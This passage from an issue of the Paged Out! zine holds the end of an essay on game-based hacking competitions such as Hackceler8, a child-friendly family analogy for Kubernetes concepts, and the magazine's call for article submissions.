And finally we get to the – in my opinion – most promising avenue: games. The first CTF I played that incorporated a game was
Ghost in the Shellcode and its Pwn Adventures – a Unity (and later Unreal Engine) based set of MMO games serving as a platform
for several in-game hacking tasks. So, this time around, players had to use their typical RE, exploitation, and cryptography skills, but
also could enjoy some typical game hacking activities. Pretty fun! And perhaps also more appealing towards the audience? After
GITS, at least two more CTFs did the same thing: Insomni'hack CTF had a Unity-based shooter and our Dragon CTF had its oldschool
Arcane Sector MMORPG.
Hackceler8
In early 2020, I pitched internally at Google the idea to make an experimental non-CTF esport hacking competition that basically
combines game hacking, speedrunning, and CTF-like tasks (yes, the fact that you're reading this in another experimental idea of
mine doesn't escape me). The idea caught on and – thanks to the help of a lot of truly amazing people (shout out especially to
jvoisin, Bitshift, ZetaTwo, spq, sirdarckcat, and jakl!) – we actually made it happen. Due to unrelated reasons, it replaced the
pandemic-era online Google CTF Finals in 2020 and 2021, as well as the onsite Google CTF 2022 Finals in London and Google CTF
2023 Finals in Tokyo.
The competition itself used a game as a platform (initially it was a 2D platformer in JavaScript, and later a top-down RPG in Python)
and was split into multiple matches played out between 2 or 4 teams. About 30-45 minutes before each match, the players got the
version of the game that would be used during the match – while the engine and the game itself were roughly the same, certain
pieces of code and map would change to introduce challenge-related bugs and features. After this pre-match time spent on
frantically diffing the code bases and fixing the prepared tooling, the players would get access to the game server, one of their
dedicated machines would start video streaming its desktop, and commentators would start the 45-minute show.
And it was pretty fun to watch (check out e.g. https://www.youtube.com/@Hackceler8 or
https://capturetheflag.withgoogle.com/hackceler8, but also https://github.com/google/google-ctf).
As such, I think the next step would be to try to popularize one or two hacking-game platforms, so that more and more people are
familiar with them. Perhaps a way forward would also include the teams and the audience knowing the challenges well in advance
of the competition, with the metagame shifting to who executes them the fastest. A fun twist I always wanted to try was to disallow
any pre-made tooling during the match itself. I.e. you can implement anything you want, but it has to be done after the match
starts. There would be a lot of furious typing, so would Dvorak be meta? Let's make sure mechanical keyboard are obligatory.
The other problem is that while the matches seemingly had 2 or 4 teams competing, there were really no interactions between the
teams – it was just a race against time. Admittedly, this isn't an easy problem to solve. If you get the balance wrong, you end up
with a typical esport game instead of a hacking competition (after all, why solve difficult hacking challenges at all if you can just
headshot your opponents preventing them from reaching the proper place on the map).
Or maybe there is a totally different way to go about it. Let's keep experimenting! Either way, a lot of fun awaits us.
Gynvael Coldwind
https://gynvael.coldwind.pl
https://hexarcana.ch
SAA-ALL 0.0.7 57
How to explain Kubernetes to 10-year-olds?
SysAdmin
Hi! I’ve heard that you want to know what mommy is doing at work. Let me explain to you what Kubernetes is!
A Kubernetes cluster is like our house: a well-organized place where our whole family, including kids (Containers), father
(Pods), grandfather (ReplicaSet), and great-grandfather (Deployment), coexist. Kubernetes gives us the possibility to manage
applications (family members).
Like every well-organized family, we have a decision-making center, which is, of course, a kitchen called the Control Plane in
Kubernetes. Basically, from the Control Plane, all things like scheduling or monitoring the status of the whole cluster are
managed, similar to how we manage our activities from the kitchen.
The head of our family is like a Master Node, and other family members are like Worker Nodes. The Master Node manages
and coordinates all the activities happening in the home (Kubernetes cluster), ensuring everything runs smoothly and the family
(applications) are happy. Each Worker Node has its own job to do and helps with the tasks assigned by the Master Node. They
work together to ensure everything gets done and the family (applications) stay healthy and strong.
The Deployment is like the great-grandfather. Deployment tells Kubernetes how to run applications in the long term. It creates
and manages sets of Pods, ensuring that there are right numbers of everything. If a family member (Pod) gets sick, which
technically means that the Pod failed, Deployment helps make sure a new healthy one replaces it automatically. Similarly, the
great-grandfather makes sure the family stay strong even when someone gets sick.
The ReplicaSet is like the grandfather who looks after the family every day. It keeps track of a certain number of family
members (Pods) running at any time. If there aren't enough family members, ReplicaSet brings in more to keep the family
stable. Like a grandfather, ReplicaSet takes care of the balance within the Pods, ensuring that each one of the family members
has responsibilities and is not overloaded at the same time.
The Pod is like the father and mother. It's a group of one or more containers that work together. Each container does a specific
job, like a family member having different responsibilities. The Pod takes care of them all, ensuring they have the resources like
CPU and memory, which is similar to a father taking care of the family's needs and creating an environment for kids to grow.
The container is the smallest part, like a baby of the family. Each container runs its own little program or service, and the Pod
takes care of all the containers together, ensuring they get what they need to do their jobs, like a father taking care of a baby's
needs. Containers can evolve and grow the same way kids do.
Katarzyna Brzozowska
(alias: Brzozova)
https://medium.com/@kbrzozova
58 SAA-ALL 0.0.7
WE WANT YOUR ARTICLE!
Would you like to see your article published in the next issue of Paged
Out!?
Here’s how to make that happen:
We have a nifty tool that you can use to check if your page size is ok - https://review-
tools.pagedout.institute/
The article has to be on a topic that is fit for Paged Out! Not sure if your topic is?
You can always ask us before you commit to writing. Or you can consult the list here: https://
pagedout.institute/?page=writing.php#article-topics
Once the topic is locked down, then comes the writing, and it has to be done by you. Remember,
you can write about AI but don’t rely on it to do the writing for you ;) Besides, you will do a better
job than it can!
Next, submit the article to us, preferably as a PDF file (you can also use PNGs for art), at
[email protected].
First, you will receive a link to a form from us. The form asks some really important questions,
including which license you would prefer for your submission, details about the title and the name
under which the article should be published, which fonts you have used and the source of images
that are in it.
Remember that both the fonts and the images need to have licenses that allow them to be used
in commercial projects and to be embedded in a PDF.
Once the replies are received, we will work with you on polishing the article. The stages include a
technical review and a language review.
If there are images in your article, we will ask you for an alt text for them.
After the stages are completed, your article will be ready for publishing!
Not all articles have to be written. If you want to draw a cheatsheet, a diagram, or an image,
please do so, we accept such submissions as well.
This is a shorter and more concise version of the content that can be found here:
https://pagedout.institute/?page=writing.php and here:
https://pagedout.institute/?page=cfp.php
The most important thing though is that you enjoy the process of writing and then of getting your
article ready for publication in cooperation with our great team.
Happy writing!